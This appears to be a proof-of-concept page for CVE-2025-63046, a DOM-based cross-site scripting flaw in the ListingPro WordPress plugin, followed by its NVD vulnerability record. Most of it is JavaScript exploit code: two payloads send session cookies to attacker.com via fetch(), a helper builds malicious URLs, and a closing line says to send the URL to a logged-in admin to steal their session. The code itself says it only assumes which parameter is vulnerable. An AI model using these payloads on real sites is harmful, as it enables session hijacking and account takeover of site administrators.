CVE-2025-63046

// CVE-2025-63046 PoC - DOM-Based XSS in ListingPro Plugin // This PoC demonstrates how an attacker can inject malicious JavaScript // through a vulnerable parameter that gets processed client-side const vulnerableEndpoint = 'https://target-site.com/listings/'; // Malicious payload that steals session cookies const xssPayload = '<img src=x onerror="fetch(`https://attacker.com/steal?cookie=${document.cookie}`)">'; // Alternative payload using SVG element const svgPayload = '<svg/onload=fetch(`https://attacker.com/exfil?data=${btoa(document.cookie)}`)>'; // PoC: Crafted URL that triggers the XSS function generateXSSUrl(baseUrl, payload) { // Assuming the plugin reflects the 's' or 'listing' parameter without sanitization const maliciousUrl = `${baseUrl}?s=${encodeURIComponent(payload)}`; console.log('Malicious URL:', maliciousUrl); return maliciousUrl; } // Example exploitation flow const targetUrl = generateXSSUrl(vulnerableEndpoint, xssPayload); // For reflected XSS testing const reflectedPoc = `${vulnerableEndpoint}search/?search_term=${encodeURIComponent(svgPayload)}`; console.log('Reflected XSS PoC URL:', reflectedPoc); console.log('Send this URL to a logged-in admin to steal their session');

{"cve": {"id": "CVE-2025-63046", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:09.887", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CridioStudio ListingPro listingpro-plugin allows DOM-Based XSS.This issue affects ListingPro: from n/a through <= 2.9.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/listingpro-plugin/vulnerability/wordpress-listingpro-plugin-2-9-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}